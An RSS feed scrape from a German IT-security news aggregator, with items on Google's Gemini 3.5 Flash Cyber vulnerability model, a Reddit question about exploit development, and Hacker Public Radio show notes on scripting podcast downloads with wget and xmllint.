<pubDate>Wed, 22 Jul 2026 09:37:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Bit2Watt threatens power stability All AI models cheat at cyber evaluations US weighing Chinese LLM ban Get the show notes here: https://cisoseries.com/cybersecurity-news-bit2watt-instability-ai-models-cheat-chinese-llm-ban/  Huge thanks to our sponsor, QuilrAI AI agents don’t ask permission. They act — moving data, triggering workflows,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/bit2watt-instability-ai-models-cheat-chinese-llm-ban/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/bit2watt-instability-ai-models-cheat-chinese-llm-ban/">Bit2Watt instability, AI models cheat, Chinese LLM ban</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Google Unveils Gemini 3.5 Flash Cyber to Find and Fix Software Vulnerabilities Faster]]></title>
<description><![CDATA[Google has introduced Gemini 3.5 Flash Cyber, a lightweight AI model designed to improve cybersecurity by helping defenders identify, validate, and patch software vulnerabilities more efficiently. Built on Gemini 3.5 Flash and optimized for security tasks, Flash Cyber aims to deliver a cost-effec...]]></description>
<link>https://tsecurity.de/de/3685467/it-security-nachrichten/google-unveils-gemini-35-flash-cyber-to-find-and-fix-software-vulnerabilities-faster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685467/it-security-nachrichten/google-unveils-gemini-35-flash-cyber-to-find-and-fix-software-vulnerabilities-faster/</guid>
<pubDate>Wed, 22 Jul 2026 08:55:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1133" height="692" src="https://thecyberexpress.com/wp-content/uploads/Flash-Cyber.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Flash Cyber" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Flash-Cyber.webp 1133w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-300x183.webp 300w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-1024x625.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-768x469.webp 768w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-600x366.webp 600w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-750x458.webp 750w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber.webp 1133w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-300x183.webp 300w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-1024x625.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-768x469.webp 768w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-600x366.webp 600w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-750x458.webp 750w" sizes="(max-width: 1133px) 100vw, 1133px" title="Google Unveils Gemini 3.5 Flash Cyber to Find and Fix Software Vulnerabilities Faster 4"></p><span data-contrast="auto">Google has introduced Gemini 3.5 Flash Cyber, a lightweight AI model designed to improve cybersecurity by helping defenders identify, validate, and patch software vulnerabilities more efficiently. Built on Gemini 3.5 Flash and optimized for security tasks, Flash Cyber aims to deliver a cost-effective alternative to larger AI models while supporting large-scale vulnerability analysis.</span>

<span data-contrast="auto">The company said it has invested in cybersecurity research for years, including automated vulnerability discovery through CodeMender, its code security agent that can detect and fix critical software flaws. However, as AI systems become increasingly capable of discovering <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29060">vulnerabilities</a> faster than defenders can resolve them, Google believes a scalable and affordable approach is needed.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Gemini 3.5 Flash Cyber Focuses on Scalable Cybersecurity</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">According to <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/" target="_blank" rel="nofollow noopener">Google</a>, Gemini 3.5 Flash Cyber has been fine-tuned specifically to locate, verify, and remediate vulnerabilities more effectively than Gemini's standard Flash models. Because of the technology's dual-use nature, the company is initially limiting access through a pilot program for governments and trusted partners via CodeMender, with broader availability planned over time.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Google also confirmed that CodeMender's core capabilities will be made available through generally available Gemini models on the Gemini Enterprise Agent Platform.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Flash Cyber Improves Large-scale Code Analysis</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">A major challenge in <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-cybersecurity/" target="_blank" rel="noopener" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="29059">cybersecurity</a> is exploring vast execution search spaces across complex codebases. Instead of relying on a single call to a <a href="https://thecyberexpress.com/us-gets-pre-release-access-to-ai-models/" target="_blank" rel="noopener">large language model</a>, CodeMender invokes Flash Cyber multiple times, allowing sub-agents to inspect significantly more code paths before generating one consolidated report.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Google said the model's speed and lower operating cost make it suitable for continuous code scanning, software launch processes, and commit-scanning pipelines at scale.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Benchmark Results Show Competitive Performance</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Google evaluated Gemini 3.5 Flash <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="Cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29061">Cyber</a> using the CyberGym benchmark, which measures AI agents against hundreds of real-world software vulnerabilities. Configured to call the model up to five times before producing a final report, CodeMender achieved competitive performance against significantly larger cybersecurity models. Google noted that competitor results were based on provider self-reported scores.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The model also outperformed Gemini 3.5 Flash and 3.6 Flash during Google's internal Big Sleep evaluation, which tested <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29058">vulnerability</a> discovery in complex projects such as Chrome and Safari without safety guardrails.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In Chrome's production commit-scanning pipeline, where vulnerabilities remained undisclosed to prevent benchmark contamination, Flash Cyber again delivered a significant improvement over Gemini 3.5 Flash. Google added that competitor models released after Opus 4.6 were excluded because their safety guardrails prevented them from completing the tasks.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Testing on the V8 JavaScript Engine found 55 unique confirmed vulnerabilities with <a href="https://thecyberexpress.com/gemini-ad-safety-targets-scam-ads/" target="_blank" rel="noopener">Gemini</a> 3.5 Flash Cyber, compared with 47 for Gemini 3.5 Flash and 36 for Opus 4.6, including 10 issues missed by both competing models.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Real-world Cybersecurity Deployment</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Google said Flash Cyber is already helping secure internal projects, including Chrome, Android, Cloud, Ads and YouTube. In one example, Google's Cloud Vulnerability Research team used the model to identify remote code execution vulnerabilities in public APIs and a memory-corruption flaw within a sensitive production service in just two hours. The model also generated a 100% reliable <a href="https://thecyberexpress.com/cve-2026-45829-chromatoast-chromadb/" target="_blank" rel="noopener">remote code execution</a> exploit capable of bypassing Address Space Layout Randomization (ASLR) and Write XOR Execute (W^X).</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Google added that early feedback from Wiz and Cloud CISO <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29062">Security</a> Engineering testers indicated a significant capability improvement over Gemini 3.5 Flash. The company also highlighted resources such as OSV.dev, which tracks more than 700,000 open-source vulnerabilities, and over a decade of OSS-Fuzz <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29063">data</a> as key training assets supporting its cybersecurity models.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[Moving from finding real bugs to make real exploits]]></title>
<description><![CDATA[Hi I started pwning from a year from pwn college, some THM, and I was quite good. In this month, I started getting into the real world. I find bugs, crashes, report, and wait for CVEs. But the problem for me is I can't exploit them. I can exploit the same bug in a CTF chall, but in the real world...]]></description>
<link>https://tsecurity.de/de/3685146/malware-trojaner-viren/moving-from-finding-real-bugs-to-make-real-exploits/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685146/malware-trojaner-viren/moving-from-finding-real-bugs-to-make-real-exploits/</guid>
<pubDate>Wed, 22 Jul 2026 04:37:24 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi</p> <p>I started pwning from a year from pwn college, some THM, and I was quite good. In this month, I started getting into the real world. I find bugs, crashes, report, and wait for CVEs. But the problem for me is I can't exploit them. I can exploit the same bug in a CTF chall, but in the real world I can't, because of the stability, how large the target is, making me have the exploit just in my mind. And this is especially in kernel. When I was trying to re-exploit an old CVE using a different way, I get hit with the internals, nf_tables, TCP, and network. Those are complex. My feer is the internals and large targets. Did anyone pass with this and find a solve?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Feisty_Revolution959"> /u/Feisty_Revolution959 </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uwevlg/moving_from_finding_real_bugs_to_make_real/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uwevlg/moving_from_finding_real_bugs_to_make_real/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Post-Compilation Obfuscation Is Outdated: Moving Polymorphism Directly into CMake]]></title>
<description><![CDATA[submitted by    /u/Important_Map6928   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3685132/malware-trojaner-viren/post-compilation-obfuscation-is-outdated-moving-polymorphism-directly-into-cmake/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685132/malware-trojaner-viren/post-compilation-obfuscation-is-outdated-moving-polymorphism-directly-into-cmake/</guid>
<pubDate>Wed, 22 Jul 2026 04:37:06 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<table> <tr><td> <a href="https://www.reddit.com/r/ExploitDev/comments/1v1qki3/postcompilation_obfuscation_is_outdated_moving/"> <img src="https://external-preview.redd.it/BbjX-8z19KBq6iARhw-ps6PfvT-upjh81mG3HJoFyYQ.png?width=640&amp;crop=smart&amp;auto=webp&amp;s=d084b6856ff66f8d9c04d724ddabea3e96b0f48e" alt="Post-Compilation Obfuscation Is Outdated: Moving Polymorphism Directly into CMake" title="Post-Compilation Obfuscation Is Outdated: Moving Polymorphism Directly into CMake"> </a> </td><td>   submitted by   <a href="https://www.reddit.com/user/Important_Map6928"> /u/Important_Map6928 </a> <br> <span><a href="https://sibouzitoun.tech/articles/sindrikit-v1o5/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1v1qki3/postcompilation_obfuscation_is_outdated_moving/">[comments]</a></span> </td></tr></table>]]></content:encoded>
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<title><![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






01 Introduction






In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. 


I will illustrate this using a bash script that can be used to download HPR podcasts.


Even if you d...]]></description>
<link>https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</guid>
<pubDate>Wed, 22 Jul 2026 02:06:46 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. </p>

<p>
I will illustrate this using a bash script that can be used to download HPR podcasts.</p>

<p>
Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.</p>

<p>
It is the principles that are discussed here that are important, rather than the implementation. </p>

<p>

</p>

<p>
02</p>

<p>
I realize that there are already a number of different podcast download programs available,  including at least one written in bash. </p>

<p>
However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.</p>

<p>
If so, then I hope the following is of some use to you.</p>

<p>
If not, then you may still find some of the things discussed here to still be of interest.</p>

<p>

</p>

<p>
Some of the subjects I cover include</p>

<p>
wget to a user defined file name.</p>

<p>
parsing xml with xmllint.</p>

<p>
using inotifywait to trigger an action when a file is created or modified.</p>

<p>
using notify-send to send a message to the notification area.</p>

<p>
and</p>

<p>
a way of allowing a cron job to send a message to the user interface.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
03 Background</p>

<p>

</p>

<p>
There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes. </p>

<p>
Apparently some people have been experiencing problems with the way the episode URLs are structured. </p>

<p>

</p>

<p>
04</p>

<p>
I am afraid that I don't fully understand the nature of these problems, so I won't  be addressing that problem directly.</p>

<p>
Instead, I will present a bash script that I have written which can be used to download HPR podcasts.</p>

<p>
This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.</p>

<p>
This is a simplified version of a script that I have used for years to download HPR and other podcasts.</p>

<p>

</p>

<p>
05</p>

<p>
I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.</p>

<p>
I will instead describe what each section does and why I chose to do things that way.</p>

<p>
Perhaps other people can offer suggestions of better ways to do things.</p>

<p>
I will post the full bash script in the show notes.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
06 Fetching Podcasts</p>

<p>

</p>

<p>
The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.</p>

<p>
RSS is a very long established and widely supported mechanism for this and other purposes.</p>

<p>
An RSS feed is basically an XML document which can be accessed over HTTP.</p>

<p>
These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.</p>

<p>

</p>

<p>
07</p>

<p>
Basically what we need to do is the following</p>

<p>

</p>

<p>
• Download the RSS XML document.</p>

<p>
• Extract the URL links to the audio files.</p>

<p>
• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.</p>

<p>

</p>

<p>
08</p>

<p>
• Make a list of the new URLs.</p>

<p>
• Go through this list of new URLs and download each of the new audio files.</p>

<p>
• Check to see that we actually received the new audio file.</p>

<p>
• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs</p>

<p>

</p>

<p>
09</p>

<p>
In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.</p>

<p>
We may wish to receive a notification of when a new podcast has arrived however.</p>

<p>
We would probably also wish to receive notification of any errors or failures.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
10 Fetching Podcasts - The Preliminaries</p>

<p>

</p>

<p>
Our desire to be able to run the script automatically imposes some requirements on our solution.</p>

<p>
To schedule the script we will use cron.</p>

<p>
Cron is a Linux facility to run scripts on a schedule.</p>

<p>

</p>

<p>
11</p>

<p>
One of the side effects of using cron however is  that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.</p>

<p>

</p>

<p>
12</p>

<p>
So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.</p>

<p>

</p>

<p>
I will skip over the details of these, although I may make reference to them later.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
13 Get the RSS Data</p>

<p>

</p>

<p>
The first thing of real substance to do is to fetch the current RSS feed data.</p>

<p>
I have put this in a bash function called getrssurldata</p>

<p>

</p>

<p>
The contents of this function are a one liner, but with a number of elements chained together through pipes.</p>

<p>

</p>

<p>
14 Downloading the RSS XML Document</p>

<p>
• First we use wget, which is a standard command on most Linux distros.</p>

<p>
• We specify four things.</p>

<p>
• First we set a timeout. I have chosen 20 seconds.</p>

<p>
• Next we set the retry limit. I have chosen 3.</p>

<p>

</p>

<p>
15</p>

<p>
• Then we specify that the output of wget is sent to stdout rather than saved as a file.</p>

<p>
• This is done by using the -O option followed by a space and then a dash.</p>

<p>
• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.</p>

<p>
• Then we specify the URL of the HPR RSS feed.</p>

<p>

</p>

<p>
16 Contents of the XML Document</p>

<p>
This gives us the HPR RSS XML document. </p>

<p>
There are about 5,000 lines in this RSS document.</p>

<p>
Most of those lines are the show notes which are also included in the feed.</p>

<p>

</p>

<p>
17 Extracting the Podcast Episode URLs</p>

<p>
There are only 10 lines of the document that contain information that we are interested in however.</p>

<p>
These lines are enclosed in "enclosure" XML tags. </p>

<p>
We just need to find those lines and separate out the URLs</p>

<p>

</p>

<p>
18 Standard Command Line Tools</p>

<p>
There are two ways that we can do this.</p>

<p>
One is to use a combination of grep, sed, and cut.</p>

<p>
Grep can find the lines containing the enclosure tags.</p>

<p>
Sed and cut can extract the URL from the surrounding extraneous data. </p>

<p>

</p>

<p>
19</p>

<p>
However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.</p>

<p>
This may be an acceptable problem in practical terms, but we can do better.</p>

<p>

</p>

<p>
20 Using an XML Parser</p>

<p>
The other method is to actually parse the XML document.</p>

<p>
there are at least two command line XML parsers that I am aware of.</p>

<p>
These are "xmllint", and "xlmstarlet".</p>

<p>
I have used xmllint in this example.</p>

<p>
I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.</p>

<p>

</p>

<p>
21</p>

<p>
I won't give a detailed explanation of all the things that xmllint can do.</p>

<p>
It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.</p>

<p>
Describing everything it can do would be at least one episode in itself. </p>

<p>
I will instead just give the particular command used and explain each element of it.</p>

<p>

</p>

<p>
22</p>

<p>
In this example assume that we are piping the output of wget directly into xmllint.</p>

<p>
The complete command is</p>

<p>

</p>

<p>
xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2</p>

<p>

</p>

<p>
23</p>

<p>
In this example,</p>

<p>
xmllint is the name of the command.</p>

<p>
--xpath tells it to parse the document according to the string which follows.</p>

<p>
"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.</p>

<p>
The "-" which follows tells it to look for input from stdin rather than from a file.</p>

<p>

</p>

<p>
24</p>

<p>
The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.</p>

<p>
To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.</p>

<p>
We then save the result in a temporary file.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
25 Finding the New Episodes</p>

<p>

</p>

<p>
Next we wish to find the new podcast episodes.</p>

<p>
Each HPR episode is identified by a unique URL.</p>

<p>
This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.</p>

<p>

</p>

<p>
https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3</p>

<p>

</p>

<p>
26</p>

<p>
The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.</p>

<p>

</p>

<p>
27</p>

<p>
This is simple, but has a drawback.</p>

<p>
Some podcasts occasionally change distributors.</p>

<p>
When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.</p>

<p>

</p>

<p>
28</p>

<p>
With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.</p>

<p>

</p>

<p>
I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.</p>

<p>
Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.</p>

<p>
It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
29 Downloading the New Podcasts</p>

<p>

</p>

<p>
We should now have a list of URLs for the new podcasts we do not already have. </p>

<p>
Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.</p>

<p>

</p>

<p>
Therefore, we need to iterate through the file of new podcast URLs and download each one.</p>

<p>

</p>

<p>
30</p>

<p>
Before we do that however, we should check to see if there is in fact anything new to download.</p>

<p>
To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.</p>

<p>

</p>

<p>
31</p>

<p>
If this number is zero, there is nothing to download, we can skip the download step. </p>

<p>
As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.</p>

<p>
This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.</p>

<p>
If we do exceed our download limit, then we need to log an error and skip downloading. </p>

<p>

</p>

<p>
32</p>

<p>
Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.</p>

<p>
We can do that using the "basename" command.</p>

<p>
We will use this to specify the name that we use when we save the audio file. </p>

<p>

</p>

<p>
33</p>

<p>
HPR has a very well formed file name. </p>

<p>
Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp. </p>

<p>

</p>

<p>
34</p>

<p>
Next we download the audio file using wget.</p>

<p>

</p>

<p>
This is similar to how we downloaded the RSS feed, but with a few changes.</p>

<p>
One is that I have increased the timeout to 90 seconds. </p>

<p>
This may not have been necessary, but seemed like a good idea.</p>

<p>

</p>

<p>
35</p>

<p>
The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.</p>

<p>

</p>

<p>
The third is that we specify a destination directory using the -P option. </p>

<p>

</p>

<p>
36</p>

<p>
After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.</p>

<p>
We did this using an "if" statement with the "-s" option.</p>

<p>

</p>

<p>
If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.</p>

<p>

</p>

<p>
37</p>

<p>
If the file was not present, or was zero length, we output an error message to an error log. </p>

<p>
I will come back to this point later.</p>

<p>

</p>

<p>
38</p>

<p>
Next, if there is more that one podcast to download we sleep for 3 seconds. </p>

<p>
While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..</p>

<p>

</p>

<p>
39</p>

<p>
After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.</p>

<p>
While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.</p>

<p>
This limit should be several times bigger than the number of files in the RSS feed. </p>

<p>
In this case I selected 50. </p>

<p>

</p>

<p>
40</p>

<p>
Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.</p>

<p>

</p>

<p>
We have now successfully downloaded at least one HPR podcast.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
41 Notify the User of Events</p>

<p>

</p>

<p>
It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.</p>

<p>

</p>

<p>
One of the limitations of cron jobs is that they cannot access the user interface.</p>

<p>
This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.</p>

<p>

</p>

<p>
42 inotifywait</p>

<p>
The solution to this is to use "inotifywait" to monitor particular files and directories for changes.</p>

<p>

</p>

<p>
The man page for inotifywait states the following - </p>

<p>

</p>

<p>
43</p>

<p>
inotifywait  efficiently  waits for changes to files using Linux's inotify(7) interface.  It is suitable for waiting  for  changes  to  files from  shell  scripts.  It can either exit once an event occurs, or continually execute and output events as they occur.</p>

<p>

</p>

<p>
End of quote.</p>

<p>

</p>

<p>
44</p>

<p>
In many Linux distros, inotifywait is provided by the "inotify-tools" package.</p>

<p>

</p>

<p>
I won't go over all the features of inotifywait. </p>

<p>
Instead, I will just describe how to use it for our purposes here.</p>

<p>

</p>

<p>
45 inotifywait Modes</p>

<p>

</p>

<p>
I should point out first though that inotifywait operates in two different modes.</p>

<p>
In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.</p>

<p>
In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.</p>

<p>
I will use the default mode here.</p>

<p>

</p>

<p>
46</p>

<p>
The man page for inotifywait provides a simple example that we could copy and modify for our purposes.</p>

<p>
A great many examples that you  will find are based on this example.</p>

<p>
However, it doesn't quite do what we want, so we need to change a few things.</p>

<p>

</p>

<p>
47 podfetchnotify</p>

<p>
The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.</p>

<p>
I will call this "podfetchnotify".</p>

<p>
The complete scripts are in the show notes, I will just provide a brief description here.</p>

<p>

</p>

<p>
48 Setting Up Event Watches Using  inotifywait</p>

<p>
The script is enclosed in a while loop which run indefinitely.</p>

<p>
In the first line inside the while loop, we call inotifywait.</p>

<p>
inotifywait will then block until the event it is told to look for occurs.</p>

<p>
In short, execution of the script will wait there until an event occurs.</p>

<p>

</p>

<p>
49</p>

<p>
The names of the events are listed in the man file.</p>

<p>
In this case we are looking for "modify", "create", and "moved_to".</p>

<p>
Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.</p>

<p>

</p>

<p>
50 Problems When Testing Using Text Editors</p>

<p>
I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would. </p>

<p>
Instead it treats this as a new file with the same name, with the original file being erased.</p>

<p>
Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.</p>

<p>
If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.</p>

<p>

</p>

<p>
51 Capturing Output</p>

<p>
In my example I capture the output from standard out into a variable, but I don't do anything with it.</p>

<p>
If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code. </p>

<p>
There are details about this in the man page.</p>

<p>

</p>

<p>
On the next line we capture the exit code using "$?"</p>

<p>

</p>

<p>
52 Responding to Exit Codes</p>

<p>
If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.</p>

<p>
In this case we display a message indicating that a new podcast has arrived.</p>

<p>
I will describe how to send notifications shortly. </p>

<p>

</p>

<p>
If the exit code was not zero, then an error occurred.</p>

<p>
An example of such an error would be if the directory were not present when monitoring was started.</p>

<p>
In this case we display a message indicating that a fatal error has occurred and then exit.</p>

<p>

</p>

<p>
53 Delay for More Podcasts</p>

<p>
Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.</p>

<p>
In this case I chose to wait for 60 seconds.</p>

<p>

</p>

<p>
54</p>

<p>
We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.</p>

<p>

</p>

<p>
55 Sending Notifications to the User</p>

<p>
I mentioned above about sending notification messages to the user.</p>

<p>
In the Gnome desktop, notification messages appear from the centre of the top bar in a list.</p>

<p>
Other desktops or operating systems may have something similar.</p>

<p>

</p>

<p>
56</p>

<p>
To send a notification message to the notification area, you use the "notify-send" command.</p>

<p>
Simply follow notify-send with a quoted string and it will be displayed in the notification area. </p>

<p>

</p>

<p>

</p>

<p>
57 podfetcherrornotify</p>

<p>
The second shell script is one which notifies the user of errors.</p>

<p>
I will call this "podfetcherrornotify".</p>

<p>
With this shell script we set up a watch on a file which contains any error messages from podfetch.</p>

<p>
This script is very similar to podfetchnotify.</p>

<p>

</p>

<p>
58</p>

<p>
The exceptions are</p>

<p>
With inotifywait we only monitor for "modify".</p>

<p>
There is no sleep command at the end of the loop.</p>

<p>
Instead we sleep for a few seconds just after getting the exit code from inotifywait.</p>

<p>
This helps prevent problems caused by race conditions.</p>

<p>

</p>

<p>
59</p>

<p>
Next we check the inotifywait exit code.</p>

<p>
If it was zero, then we read the error report file and send a notification message to the user containing that error message.</p>

<p>

</p>

<p>
60</p>

<p>
If it was not zero, then we check to make sure that the directory that should contain the error log exists.</p>

<p>
If it does not exist, then we send a notification message to that effect to the user and terminate the script.</p>

<p>

</p>

<p>
61</p>

<p>
If the directory exists, then we check to see if the error message file used for signalling exists.</p>

<p>
If the file does not exist, then we create it.</p>

<p>

</p>

<p>
62</p>

<p>
One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.</p>

<p>
By creating the file we correct the cause of the error and allow  inotifywait to operate normally.</p>

<p>

</p>

<p>
63</p>

<p>
Finally we increment an error counter and check to see if the limit is exceeded.</p>

<p>
If there are excessive errors, then send a notification message to the user and exit.</p>

<p>
The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.</p>

<p>

</p>

<p>
64</p>

<p>
The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.</p>

<p>
Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
65 Installing the Scripts</p>

<p>

</p>

<p>
Next I will describe how to install and prepare the scripts to run.</p>

<p>
We need to perform the following steps.</p>

<p>

</p>

<p>
66</p>

<p>
• First, we need to create a directory to hold the scripts and their associated data files.</p>

<p>
• Next we need to create a directory to hold the downloaded podcasts.</p>

